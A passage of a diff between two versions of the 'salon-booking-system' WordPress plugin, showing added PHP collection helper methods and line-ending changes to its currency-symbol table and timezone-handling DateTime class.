$this->filter('additional',false);\n+\t}\n+\t\n+\tpublic function additional(){\n+\t\treturn $this->filter('additional');\n+\t}\n+\t\n+\tpublic function required(){\n+\t\treturn $this->filter('required');\n+\t}\n+\n+\tpublic function exportCsv(){\n+\t\treturn $this->filter('export_csv');\n+\t}\n+\t\n+\tpublic function labelsForSettings(){\n+\t\treturn $this->map(function($field){\n+\t\t\treturn $field->labelForSettings();\n+\t\t});\n+\t}\n+\t\n+\tpublic function appendPassword(){\n+\t\treturn $this->merge(SLN_Enum_CheckoutFields::passwordField());\n+\t}\n+    \n+    public function filter($key,$needle = true,$negate = false){\n+        $this->exchangeArray( \n+        \tarray_filter($this->getArrayCopy(),function($field) use($key,$needle,$negate){\n+        \t    if(!is_string($key) && is_callable($key)){\n+        \t        return $key($field);\n+                }else {\n+                    $value = $field->get($key);\n+                    $ret = is_array($value) ? in_array($needle, $value) : $value === $needle;\n+                    return $negate ? !$ret : $ret;\n+                }\n+        \t})\n+        );\n+        \n+        return $this;\n+    }\t\n+    \n+    public function map($key){\n+    \t$this->exchangeArray(\n+    \t\tarray_map(function($field)use($key){\n+    \t\t\treturn !is_string($key) && is_callable($key) ? $key($field) : $field->get($key);\n+    \t\t},$this->getArrayCopy())\n+    \t);\n+    \t\n+    \treturn $this;\n+    }\n+    \n+    public function intersect($collection){\n+    \t$this->exchangeArray(\n+    \t\tarray_intersect_key($this->getArrayCopy(),$collection->getArrayCopy())\n+    \t);\n+    \treturn $this;\n+    }\n+    \n+    public function diff($collection){\n+    \t$this->exchangeArray(\n+    \t\tarray_diff_key($this->getArrayCopy(),$collection->getArrayCopy())\n+    \t);\n+    \treturn $this;\n+    }\n+    \n+    public function selfClone(){\n+    \treturn clone $this;\n+    }\n+    \n+    public function merge($collection){\n+    \t$this->exchangeArray(\n+    \t\tarray_merge($this->getArrayCopy(),$collection->getArrayCopy())\n+    \t);\n+    \treturn $this;\n+    }\n+    \n+    public function prepend($collection){\n+    \t$this->exchangeArray(\n+    \t\tarray_merge($collection->getArrayCopy(),$this->getArrayCopy())\n+    \t);\n+    \treturn $this;\n+    }\n+\n+    public function implode($glue=''){\n+        return implode($glue,$this->getArrayCopy());\n+    }\n+\n+    public function appendSmsPrefix(){\n+            return $this->merge(SLN_Enum_CheckoutFields::smsPrefixField());\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FCurrency.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FCurrency.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FCurrency.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FCurrency.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,127 +1,127 @@\n-\u003C?php\r\n-\r\n-class SLN_Currency\r\n-{\r\n-    private static $currencies = array(\r\n-        'AUD' => array('name' => 'Australian Dollar', 'symbol' => 'A$', 'ASCII' => 'A&#36;'),\r\n-        'AOA' => array('name' => 'Angolan kwanza', 'symbol' => 'Kz', 'ASCII' => ''),\r\n-        'AED' => array('name' => 'United Arab Emirates dirham', 'symbol' => 'د.إ', 'ASCII' => ''),\r\n-        'AMD' => array('name' => 'Armenian Dram', 'symbol' => '֏', 'ASCII' => ''),\r\n-        'ARS' => array('name' => 'Argentine Peso', 'symbol' => '$', 'ASCII' => 'A&#36;'),\r\n-        'AZN' => array('name' => 'Azerbaijan Manat', 'symbol' => 'man', 'ASCII' => ''),\r\n-        'BRL' => array('name' => 'Brazilian Real', 'symbol' => 'R$', 'ASCII' => '&#x0052;&#x0024;'),\r\n-        'BGN' => array('name' => 'Bulgarian Lev', 'symbol' => 'лв', 'ASCII' => ''),\r\n-        'BAM' => array('name' => 'Bosnia and Herzegovina convertible mark', 'symbol' => 'KM', 'ASCII' => ''),\r\n-        'BYN' => array('name' => 'Belarusian ruble', 'symbol' => 'Br', 'ASCII' => ''),\r\n-        'BD' => array('name' => 'Bahraini dinar', 'symbol' => '.د.ب', 'ASCII' => ''),\r\n-        'BOB' => array('name' => 'Bolivian Boliviano', 'symbol' => 'Bs', 'ASCII' => ''),\r\n-        'BDT' => array('name' => 'Bangladeshi taka', 'symbol' => '৳', 'ASCII' => ''),\r\n-        'BZD' => array('name' => 'Belize dollar', 'symbol' => 'BZ$', 'ASCII' => ''),\r\n-        'CAD' => array('name' => 'Canadian Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'KYD' => array('name' => 'Cayman Islands Dollar', 'symbol' => 'CI$', 'ASCII' => ''),\r\n-        'CLP' => array('name' => 'Chilean peso', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'CVE' => array('name' => 'Cape Verdean Escudo', 'symbol' => 'Esc', 'ASCII' => ''),\r\n-        'CRC' => array('name' => 'Costa Rican colón', 'symbol' => '₡', 'ASCII' => ''),\r\n-        'CZK' => array('name' => 'Czech Koruna', 'symbol' => 'Kč', 'ASCII' => ''),\r\n-        'CHF' => array('name' => 'Swiss Franc', 'symbol' => 'CHF', 'ASCII' => ''),\r\n-        'CFA' => array('name' => 'West African CFA franc', 'symbol' => 'CFA', 'ASCII' => ''),\r\n-        'XOF' => array('name' => 'West Africa which XOF', 'symbol' => 'XOF', 'ASCII' => ''),\r\n-        'XAF' => array('name' => 'Central Africa with XAF', 'symbol' => 'XAF', 'ASCII' => ''),\r\n-        'COP' => array('name' => 'Colombian peso', 'symbol' => '$', 'ASCII' => ''),\r\n-        'DKK' => array('name' => 'Danish Krone', 'symbol' => 'kr ', 'ASCII' => ''),\r\n-        'DOP' => array('name' => 'Dominican peso', 'symbol' => 'RD$', 'ASCII' => ''),\r\n-        'DZD' => array('name' => 'Algerian dinar', 'symbol' => 'DA', 'ASCII' => ''),\r\n-        'CNY' => array('name' => 'Chinese Yuan Renminbi', 'symbol'=>'¥', 'hex'=>'&#xa5;'),\r\n-        'EUR' => array('name' => 'Euro', 'symbol' => '€', 'ASCII' => '&#8364;'),\r\n-        'EGP' => array('name' => 'Egyptian Pound', 'symbol' => 'E£', 'ASCII' => ''),\r\n-        'GEL' => array('name' => 'Georgian lari', 'symbol' => 'ლ', 'ASCII' => ''),\r\n-        'HTG' => array('name' => 'Haitian Gourde', 'symbol' => 'G', 'ASCII' => ''),\r\n-        'HRK' => array('name' => 'Croatian kuna', 'symbol' => 'kn', 'ASCII' => ''),\r\n-        'HKD' => array('name' => 'Hong Kong Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'HUF' => array('name' => 'Hungarian Forint', 'symbol' => 'Ft', 'ASCII' => ''),\r\n-        'HNL' => array('name' => 'Honduran lempira', 'symbol' => 'L', 'ASCII' => ''),\r\n-        'ILS' => array('name' => 'Israeli New Sheqel', 'symbol' => '₪', 'ASCII' => '&#8361;'),\r\n-        'INR' => array('name' => 'Indian Rupee', 'symbol' => '₹', 'ASCII' => '&#8377;'),\r\n-        'IDR' => array('name' => 'Indonesian Rupee', 'symbol' => 'Rp', 'ASCII' => ''),\r\n-        'ISK' => array('name' => 'Icelandic króna', 'symbol' => 'kr', 'ASCII' => ''),\r\n-        'JPY' => array('name' => 'Japanese Yen', 'symbol' => '¥', 'ASCII' => '&#165;'),\r\n-        'JMD' => array('name' => 'Jamaican Dollar', 'symbol' => 'J$', 'ASCII' => ''),\r\n-        'KES' => array('name' => 'Kenyan Shilling', 'symbol' => 'KSh', 'ASCII' => ''),\r\n-        'KZT' => array('name' => 'Kazakhstani tenge', 'symbol' => '₸', 'ASCII' => ''),\r\n-        'MMK' => array('name' => 'Burmese kyat', 'symbol' => 'K', 'ASCII' => ''),\r\n-        'MKD' => array('name' => 'Macedonian denar', 'symbol' => 'ден', 'ASCII' => ''),\r\n-        'LEU' => array('name' => 'Moldovan leu', 'symbol' => 'Leu', 'ASCII' => ''),\r\n-        'LKR' => array('name' => 'Sri Lankan rupee', 'symbol' => 'රු', 'ASCII' => ''),\r\n-        'MXN' => array('name' => 'Mexican Peso', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'MUR' => array('name' => 'Mauritian Rupee', 'symbol' => '₨', 'ASCII' => ''),\r\n-        'MYR' => array('name' => 'Malaysian Ringgit', 'symbol' => 'RM', 'ASCII' => ''),\r\n-        'MAD' => array('name' => 'Moroccan dirham', 'symbol' => '.د.م', 'ASCII' => ''),\r\n-        'NOK' => array('name' => 'Norwegian Krone', 'symbol' => 'Kr', 'ASCII' => ''),\r\n-        'NZD' => array('name' => 'New Zealand Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'NGN' => array('name' => 'Nigerian Naira', 'symbol' => '₦', 'ASCII' => '&#8358;'),\r\n-        'OMR' => array('name' => 'Omani rial', 'symbol' => 'R.O.', 'ASCII' => ''),\r\n-        'PEN' => array('name' => 'Peruvian Nuevo Sol', 'symbol'=>'S\u002F.', 'hex'=>''),\r\n-        'PKR' => array('name' => 'Pakistan Rupee', 'symbol'=>'₨', 'hex'=>'&#x20a8;'),\r\n-        'PHP' => array('name' => 'Philippine Peso', 'symbol' => '₱', 'ASCII' => ''),\r\n-        'PLN' => array('name' => 'Polish Zloty', 'symbol' => 'zł', 'ASCII' => ''),\r\n-        'RON'=>array('name' => 'Romanian New Lei', 'symbol'=>'lei', 'hex'=>'&#x6c;&#x65;&#x69;'),\r\n-        'RWF'=>array('name' => 'Rwandan franc', 'symbol'=>'R₣', 'hex'=>''),\r\n-        'QAR'=>array('name' => 'Qatari Riyal', 'symbol'=>'﷼', 'unicode-hex'=>'fdfc'),\r\n-        'GBP' => array('name' => 'Pound Sterling', 'symbol' => '£', 'ASCII' => '&#163;'),\r\n-        'GHS' => array('name' => 'Ghanaian Cedi', 'symbol' => 'GH₵', 'ASCII' => '&#x20b5;'),\r\n-        'GTQ' => array('name' => 'Guatemalan Quetzal', 'symbol' => 'Q', 'ASCII' => ''),\r\n-        'ILS' => array('name' => 'Israeli New Shekel', 'symbol' => '₪', 'ASCII' => '&#8362;'),\r\n-        'SAR' => array('name' => 'Saudi riyal', 'symbol' => 'ر.س', 'ASCII' => ''),\r\n-        'SGD' => array('name' => 'Singapore Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'SRD' => array('name' => 'Surinamese dollar', 'symbol' => '$', 'ASCII' => ''),\r\n-        'SEK' => array('name' => 'Swedish Krona', 'symbol' => 'kr', 'ASCII' => ''),\r\n-        'CHF' => array('name' => 'Swiss Franc', 'symbol' => 'CHF', 'ASCII' => ''),\r\n-        'KRW' => array('name' => 'South Korea Won', 'symbol' => '￦', 'ASCII' => '&#8361;'),\r\n-        'KWD' => array('name' => 'Kuwaiti dinar', 'symbol' => 'KD', 'ASCII' => ''),\r\n-        'KGS' => array('name' => 'Kyrgyzstan', 'symbol' => 'c', 'ASCII' => ''),\r\n-        'TWD' => array('name' => 'Taiwan New Dollar', 'symbol' => 'NT$', 'ASCII' => 'NT&#36;'),\r\n-        'TRY' => array('name' => 'Turkish Lira', 'symbol' => 'TL', 'ASCII' => '&#8378;'),\r\n-        'THB' => array('name' => 'Thai Baht', 'symbol' => '฿', 'ASCII' => '&#3647;'),\r\n-        'TND' => array('name' => 'Tunisinian dinar', 'symbol' => 'DT', 'ASCII' => ''),\r\n-        'TJS' => array('name' => 'Tajikistan', 'symbol' => 'смн', 'ASCII' => ''),\r\n-        'TMT' => array('name' => 'Turkmenistan New Manat', 'symbol' => 'm', 'ASCII' => ''),\r\n-        'TTD' => array('name' => ' Trinidad and Tobago', 'symbol' => '$', 'ASCII' => ''),\r\n-        'TZS' => array('name' => 'Tanzanian Shilling', 'symbol' => 'TSh', 'ASCII' => ''),\r\n-        'USD' => array('name' => 'U.S. Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\r\n-        'UZS' => array('name' => 'Uzbekistan Sum', 'symbol' => 'сўм', 'ASCII' => ''),\r\n-        'UGS' => array('name' => 'Ugandan shilling', 'symbol' => 'USh', 'ASCII' => ''),\r\n-        'UAH' => array('name' => 'Ukrainian Hryvnia', 'symbol' => '₴', 'ASCII' => '&#8372;'),\r\n-        'UYU' => array('name' => 'Uruguayan peso', 'symbol' => '$', 'ASCII' => ''),\r\n-        'VND' => array('name' => 'Vietnamese Dong', 'symbol' => '₫', 'ASCII' => ''),\r\n-        'LKR' => array('name' => 'Sri Lankan Rupee', 'symbol' => 'Rs', 'ASCII' => '&#8377;'),\r\n-        'RUB' => array('name' => 'Russian Ruble', 'symbol' => 'РУБ', 'ASCII' => '&#8381;'),\r\n-        'RSD' => array('name' => 'Serbian Dinar', 'symbol' => 'din', 'ASCII' => ''),\r\n-        'ZAR' => array('name' => 'South African rand', 'symbol' => 'R', 'ASCII' => '&#x52;'),\r\n-        'XCG' => array('name' => 'Caribbean guilder', 'symbol' => 'Cg', 'ASCII' => ''),\r\n-        'ANG' => array('name' => 'Netherlands Antillean Guilder', 'symbol' => 'ƒ', 'ASCII' => ''),\r\n-    );\r\n-\r\n-    public static function getSymbol($code = 'USD')\r\n-    {\r\n-        if (!empty(self::$currencies[$code]['ASCII'])) {\r\n-            return (string)self::$currencies[$code]['ASCII'];\r\n-        }\r\n-\r\n-        return (string)self::$currencies[$code]['symbol'];\r\n-    }\r\n-\r\n-    public static function getSymbolAsIs($code = 'USD')\r\n-    {\r\n-        return (string)self::$currencies[$code]['symbol'];\r\n-    }\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-        $ret = array();\r\n-        foreach (array_keys(self::$currencies) as $k) {\r\n-            $ret[$k] = $k . ' (' . self::getSymbol($k) . ')';\r\n-        }\r\n-\r\n-        return $ret;\r\n-    }\r\n-}\r\n+\u003C?php\n+\n+class SLN_Currency\n+{\n+    private static $currencies = array(\n+        'AUD' => array('name' => 'Australian Dollar', 'symbol' => 'A$', 'ASCII' => 'A&#36;'),\n+        'AOA' => array('name' => 'Angolan kwanza', 'symbol' => 'Kz', 'ASCII' => ''),\n+        'AED' => array('name' => 'United Arab Emirates dirham', 'symbol' => 'د.إ', 'ASCII' => ''),\n+        'AMD' => array('name' => 'Armenian Dram', 'symbol' => '֏', 'ASCII' => ''),\n+        'ARS' => array('name' => 'Argentine Peso', 'symbol' => '$', 'ASCII' => 'A&#36;'),\n+        'AZN' => array('name' => 'Azerbaijan Manat', 'symbol' => 'man', 'ASCII' => ''),\n+        'BRL' => array('name' => 'Brazilian Real', 'symbol' => 'R$', 'ASCII' => '&#x0052;&#x0024;'),\n+        'BGN' => array('name' => 'Bulgarian Lev', 'symbol' => 'лв', 'ASCII' => ''),\n+        'BAM' => array('name' => 'Bosnia and Herzegovina convertible mark', 'symbol' => 'KM', 'ASCII' => ''),\n+        'BYN' => array('name' => 'Belarusian ruble', 'symbol' => 'Br', 'ASCII' => ''),\n+        'BD' => array('name' => 'Bahraini dinar', 'symbol' => '.د.ب', 'ASCII' => ''),\n+        'BOB' => array('name' => 'Bolivian Boliviano', 'symbol' => 'Bs', 'ASCII' => ''),\n+        'BDT' => array('name' => 'Bangladeshi taka', 'symbol' => '৳', 'ASCII' => ''),\n+        'BZD' => array('name' => 'Belize dollar', 'symbol' => 'BZ$', 'ASCII' => ''),\n+        'CAD' => array('name' => 'Canadian Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'KYD' => array('name' => 'Cayman Islands Dollar', 'symbol' => 'CI$', 'ASCII' => ''),\n+        'CLP' => array('name' => 'Chilean peso', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'CVE' => array('name' => 'Cape Verdean Escudo', 'symbol' => 'Esc', 'ASCII' => ''),\n+        'CRC' => array('name' => 'Costa Rican colón', 'symbol' => '₡', 'ASCII' => ''),\n+        'CZK' => array('name' => 'Czech Koruna', 'symbol' => 'Kč', 'ASCII' => ''),\n+        'CHF' => array('name' => 'Swiss Franc', 'symbol' => 'CHF', 'ASCII' => ''),\n+        'CFA' => array('name' => 'West African CFA franc', 'symbol' => 'CFA', 'ASCII' => ''),\n+        'XOF' => array('name' => 'West Africa which XOF', 'symbol' => 'XOF', 'ASCII' => ''),\n+        'XAF' => array('name' => 'Central Africa with XAF', 'symbol' => 'XAF', 'ASCII' => ''),\n+        'COP' => array('name' => 'Colombian peso', 'symbol' => '$', 'ASCII' => ''),\n+        'DKK' => array('name' => 'Danish Krone', 'symbol' => 'kr ', 'ASCII' => ''),\n+        'DOP' => array('name' => 'Dominican peso', 'symbol' => 'RD$', 'ASCII' => ''),\n+        'DZD' => array('name' => 'Algerian dinar', 'symbol' => 'DA', 'ASCII' => ''),\n+        'CNY' => array('name' => 'Chinese Yuan Renminbi', 'symbol'=>'¥', 'hex'=>'&#xa5;'),\n+        'EUR' => array('name' => 'Euro', 'symbol' => '€', 'ASCII' => '&#8364;'),\n+        'EGP' => array('name' => 'Egyptian Pound', 'symbol' => 'E£', 'ASCII' => ''),\n+        'GEL' => array('name' => 'Georgian lari', 'symbol' => 'ლ', 'ASCII' => ''),\n+        'HTG' => array('name' => 'Haitian Gourde', 'symbol' => 'G', 'ASCII' => ''),\n+        'HRK' => array('name' => 'Croatian kuna', 'symbol' => 'kn', 'ASCII' => ''),\n+        'HKD' => array('name' => 'Hong Kong Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'HUF' => array('name' => 'Hungarian Forint', 'symbol' => 'Ft', 'ASCII' => ''),\n+        'HNL' => array('name' => 'Honduran lempira', 'symbol' => 'L', 'ASCII' => ''),\n+        'ILS' => array('name' => 'Israeli New Sheqel', 'symbol' => '₪', 'ASCII' => '&#8361;'),\n+        'INR' => array('name' => 'Indian Rupee', 'symbol' => '₹', 'ASCII' => '&#8377;'),\n+        'IDR' => array('name' => 'Indonesian Rupee', 'symbol' => 'Rp', 'ASCII' => ''),\n+        'ISK' => array('name' => 'Icelandic króna', 'symbol' => 'kr', 'ASCII' => ''),\n+        'JPY' => array('name' => 'Japanese Yen', 'symbol' => '¥', 'ASCII' => '&#165;'),\n+        'JMD' => array('name' => 'Jamaican Dollar', 'symbol' => 'J$', 'ASCII' => ''),\n+        'KES' => array('name' => 'Kenyan Shilling', 'symbol' => 'KSh', 'ASCII' => ''),\n+        'KZT' => array('name' => 'Kazakhstani tenge', 'symbol' => '₸', 'ASCII' => ''),\n+        'MMK' => array('name' => 'Burmese kyat', 'symbol' => 'K', 'ASCII' => ''),\n+        'MKD' => array('name' => 'Macedonian denar', 'symbol' => 'ден', 'ASCII' => ''),\n+        'LEU' => array('name' => 'Moldovan leu', 'symbol' => 'Leu', 'ASCII' => ''),\n+        'LKR' => array('name' => 'Sri Lankan rupee', 'symbol' => 'රු', 'ASCII' => ''),\n+        'MXN' => array('name' => 'Mexican Peso', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'MUR' => array('name' => 'Mauritian Rupee', 'symbol' => '₨', 'ASCII' => ''),\n+        'MYR' => array('name' => 'Malaysian Ringgit', 'symbol' => 'RM', 'ASCII' => ''),\n+        'MAD' => array('name' => 'Moroccan dirham', 'symbol' => '.د.م', 'ASCII' => ''),\n+        'NOK' => array('name' => 'Norwegian Krone', 'symbol' => 'Kr', 'ASCII' => ''),\n+        'NZD' => array('name' => 'New Zealand Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'NGN' => array('name' => 'Nigerian Naira', 'symbol' => '₦', 'ASCII' => '&#8358;'),\n+        'OMR' => array('name' => 'Omani rial', 'symbol' => 'R.O.', 'ASCII' => ''),\n+        'PEN' => array('name' => 'Peruvian Nuevo Sol', 'symbol'=>'S\u002F.', 'hex'=>''),\n+        'PKR' => array('name' => 'Pakistan Rupee', 'symbol'=>'₨', 'hex'=>'&#x20a8;'),\n+        'PHP' => array('name' => 'Philippine Peso', 'symbol' => '₱', 'ASCII' => ''),\n+        'PLN' => array('name' => 'Polish Zloty', 'symbol' => 'zł', 'ASCII' => ''),\n+        'RON'=>array('name' => 'Romanian New Lei', 'symbol'=>'lei', 'hex'=>'&#x6c;&#x65;&#x69;'),\n+        'RWF'=>array('name' => 'Rwandan franc', 'symbol'=>'R₣', 'hex'=>''),\n+        'QAR'=>array('name' => 'Qatari Riyal', 'symbol'=>'﷼', 'unicode-hex'=>'fdfc'),\n+        'GBP' => array('name' => 'Pound Sterling', 'symbol' => '£', 'ASCII' => '&#163;'),\n+        'GHS' => array('name' => 'Ghanaian Cedi', 'symbol' => 'GH₵', 'ASCII' => '&#x20b5;'),\n+        'GTQ' => array('name' => 'Guatemalan Quetzal', 'symbol' => 'Q', 'ASCII' => ''),\n+        'ILS' => array('name' => 'Israeli New Shekel', 'symbol' => '₪', 'ASCII' => '&#8362;'),\n+        'SAR' => array('name' => 'Saudi riyal', 'symbol' => 'ر.س', 'ASCII' => ''),\n+        'SGD' => array('name' => 'Singapore Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'SRD' => array('name' => 'Surinamese dollar', 'symbol' => '$', 'ASCII' => ''),\n+        'SEK' => array('name' => 'Swedish Krona', 'symbol' => 'kr', 'ASCII' => ''),\n+        'CHF' => array('name' => 'Swiss Franc', 'symbol' => 'CHF', 'ASCII' => ''),\n+        'KRW' => array('name' => 'South Korea Won', 'symbol' => '￦', 'ASCII' => '&#8361;'),\n+        'KWD' => array('name' => 'Kuwaiti dinar', 'symbol' => 'KD', 'ASCII' => ''),\n+        'KGS' => array('name' => 'Kyrgyzstan', 'symbol' => 'c', 'ASCII' => ''),\n+        'TWD' => array('name' => 'Taiwan New Dollar', 'symbol' => 'NT$', 'ASCII' => 'NT&#36;'),\n+        'TRY' => array('name' => 'Turkish Lira', 'symbol' => 'TL', 'ASCII' => '&#8378;'),\n+        'THB' => array('name' => 'Thai Baht', 'symbol' => '฿', 'ASCII' => '&#3647;'),\n+        'TND' => array('name' => 'Tunisinian dinar', 'symbol' => 'DT', 'ASCII' => ''),\n+        'TJS' => array('name' => 'Tajikistan', 'symbol' => 'смн', 'ASCII' => ''),\n+        'TMT' => array('name' => 'Turkmenistan New Manat', 'symbol' => 'm', 'ASCII' => ''),\n+        'TTD' => array('name' => ' Trinidad and Tobago', 'symbol' => '$', 'ASCII' => ''),\n+        'TZS' => array('name' => 'Tanzanian Shilling', 'symbol' => 'TSh', 'ASCII' => ''),\n+        'USD' => array('name' => 'U.S. Dollar', 'symbol' => '$', 'ASCII' => '&#36;'),\n+        'UZS' => array('name' => 'Uzbekistan Sum', 'symbol' => 'сўм', 'ASCII' => ''),\n+        'UGS' => array('name' => 'Ugandan shilling', 'symbol' => 'USh', 'ASCII' => ''),\n+        'UAH' => array('name' => 'Ukrainian Hryvnia', 'symbol' => '₴', 'ASCII' => '&#8372;'),\n+        'UYU' => array('name' => 'Uruguayan peso', 'symbol' => '$', 'ASCII' => ''),\n+        'VND' => array('name' => 'Vietnamese Dong', 'symbol' => '₫', 'ASCII' => ''),\n+        'LKR' => array('name' => 'Sri Lankan Rupee', 'symbol' => 'Rs', 'ASCII' => '&#8377;'),\n+        'RUB' => array('name' => 'Russian Ruble', 'symbol' => 'РУБ', 'ASCII' => '&#8381;'),\n+        'RSD' => array('name' => 'Serbian Dinar', 'symbol' => 'din', 'ASCII' => ''),\n+        'ZAR' => array('name' => 'South African rand', 'symbol' => 'R', 'ASCII' => '&#x52;'),\n+        'XCG' => array('name' => 'Caribbean guilder', 'symbol' => 'Cg', 'ASCII' => ''),\n+        'ANG' => array('name' => 'Netherlands Antillean Guilder', 'symbol' => 'ƒ', 'ASCII' => ''),\n+    );\n+\n+    public static function getSymbol($code = 'USD')\n+    {\n+        if (!empty(self::$currencies[$code]['ASCII'])) {\n+            return (string)self::$currencies[$code]['ASCII'];\n+        }\n+\n+        return (string)self::$currencies[$code]['symbol'];\n+    }\n+\n+    public static function getSymbolAsIs($code = 'USD')\n+    {\n+        return (string)self::$currencies[$code]['symbol'];\n+    }\n+\n+    public static function toArray()\n+    {\n+        $ret = array();\n+        foreach (array_keys(self::$currencies) as $k) {\n+            $ret[$k] = $k . ' (' . self::getSymbol($k) . ')';\n+        }\n+\n+        return $ret;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FDateTime.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FDateTime.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FDateTime.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FDateTime.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,69 +1,69 @@\n-\u003C?php\r\n-\r\n-class SLN_DateTime extends DateTime\r\n-{\r\n-    public static $Format = 'Y-m-d H:i:s';\r\n-\r\n-    function __construct($time = \"now\", $timezone = null){\r\n-        if(null === $timezone || $timezone instanceof DateTimeZone !== true) $timezone = self::getWpTimezone();\r\n-        $time = preg_replace('\u002F[^[:print:]]\u002F', '', $time);\r\n-        return parent::__construct($time, $timezone);\r\n-    }\r\n-\r\n-    public function __toString()\r\n-    {\r\n-        return (string)parent::format(self::$Format);\r\n-    }\r\n-\r\n-    public static function getWpTimezone() {\r\n-        static $static_wp_timezone;\r\n-        if(null === $static_wp_timezone ){\r\n-            if(!self::getTimezoneWpSettingsOption() && function_exists('wp_timezone')){\r\n-                $static_wp_timezone = wp_timezone();\r\n-                return $static_wp_timezone;\r\n-            }\r\n-            $static_wp_timezone = new DateTimeZone( self::getWpTimezoneString() );\r\n-        }\r\n-        return $static_wp_timezone;\r\n-    }\r\n-\r\n-    public static function getWpTimezoneString() {\r\n-        static $static_timezone_string;\r\n-\r\n-        if(null === $static_timezone_string ){\r\n-\r\n-            $timezone_string = self::getTimezoneWpSettingsOption();\r\n-\r\n-            if ( $timezone_string ) {\r\n-                $static_timezone_string = $timezone_string;\r\n-                return $static_timezone_string;\r\n-            }\r\n-\r\n-            if(function_exists('wp_timezone_string')){\r\n-                $static_timezone_string = wp_timezone_string();\r\n-                return $static_timezone_string;\r\n-            }\r\n-\r\n-            $offset  = (float) get_option( 'gmt_offset' );\r\n-            $hours   = (int) $offset;\r\n-            $minutes = ( $offset - $hours );\r\n-\r\n-            $sign      = ( $offset \u003C 0 ) ? '-' : '+';\r\n-            $abs_hour  = abs( $hours );\r\n-            $abs_mins  = abs( $minutes * 60 );\r\n-            $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins );\r\n-\r\n-            $static_timezone_string = $tz_offset;\r\n-        }\r\n-        return $static_timezone_string;\r\n-    }\r\n-\r\n-    public static function getTimezoneObjectFromWpSettingsOption() {\r\n-       return  new DateTimeZone(self::getTimezoneWpSettingsOption());\r\n-    }\r\n-\r\n-    public static function getTimezoneWpSettingsOption() {\r\n-       return apply_filters('sln.date_time.get_timezone_wp_settings_option', get_option('timezone_string'));\r\n-    }\r\n-\r\n-}\r\n+\u003C?php\n+\n+class SLN_DateTime extends DateTime\n+{\n+    public static $Format = 'Y-m-d H:i:s';\n+\n+    function __construct($time = \"now\", $timezone = null){\n+        if(null === $timezone || $timezone instanceof DateTimeZone !== true) $timezone = self::getWpTimezone();\n+        $time = preg_replace('\u002F[^[:print:]]\u002F', '', $time);\n+        return parent::__construct($time, $timezone);\n+    }\n+\n+    public function __toString()\n+    {\n+        return (string)parent::format(self::$Format);\n+    }\n+\n+    public static function getWpTimezone() {\n+        static $static_wp_timezone;\n+        if(null === $static_wp_timezone ){\n+            if(!self::getTimezoneWpSettingsOption() && function_exists('wp_timezone')){\n+                $static_wp_timezone = wp_timezone();\n+                return $static_wp_timezone;\n+            }\n+            $static_wp_timezone = new DateTimeZone( self::getWpTimezoneString() );\n+        }\n+        return $static_wp_timezone;\n+    }\n+\n+    public static function getWpTimezoneString() {\n+        static $static_timezone_string;\n+\n+        if(null === $static_timezone_string ){\n+\n+            $timezone_string = self::getTimezoneWpSettingsOption();\n+\n+            if ( $timezone_string ) {\n+                $static_timezone_string = $timezone_string;\n+                return $static_timezone_string;\n+            }\n+\n+            if(function_exists('wp_timezone_string')){\n+                $static_timezone_string = wp_timezone_string();\n+                return $static_timezone_string;\n+            }\n+\n+            $offset  = (float) get_option( 'gmt_offset' );\n+            $hours   = (int) $offset;\n+            $minutes = ( $offset - $hours );\n+\n+            $sign      = ( $offset \u003C 0 ) ? '-' : '+';\n+            $abs_hour  = abs( $hours );\n+            $abs_mins  = abs( $minutes * 60 );\n+            $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins );\n+\n+            $static_timezone_string = $tz_offset;\n+        }\n+        return $static_timezone_string;\n+    }\n+\n+    public static function getTimezoneObjectFromWpSettingsOption() {\n+       return  new DateTimeZone(self::getTimezoneWpSettingsOption());\n+    }\n+\n+    public static function getTimezoneWpSettingsOption() {\n+       return apply_filters('sln.date_time.get_timezone_wp_settings_option', get_option('timezone_string'));\n+    }\n+\n+}\ndiff -ru 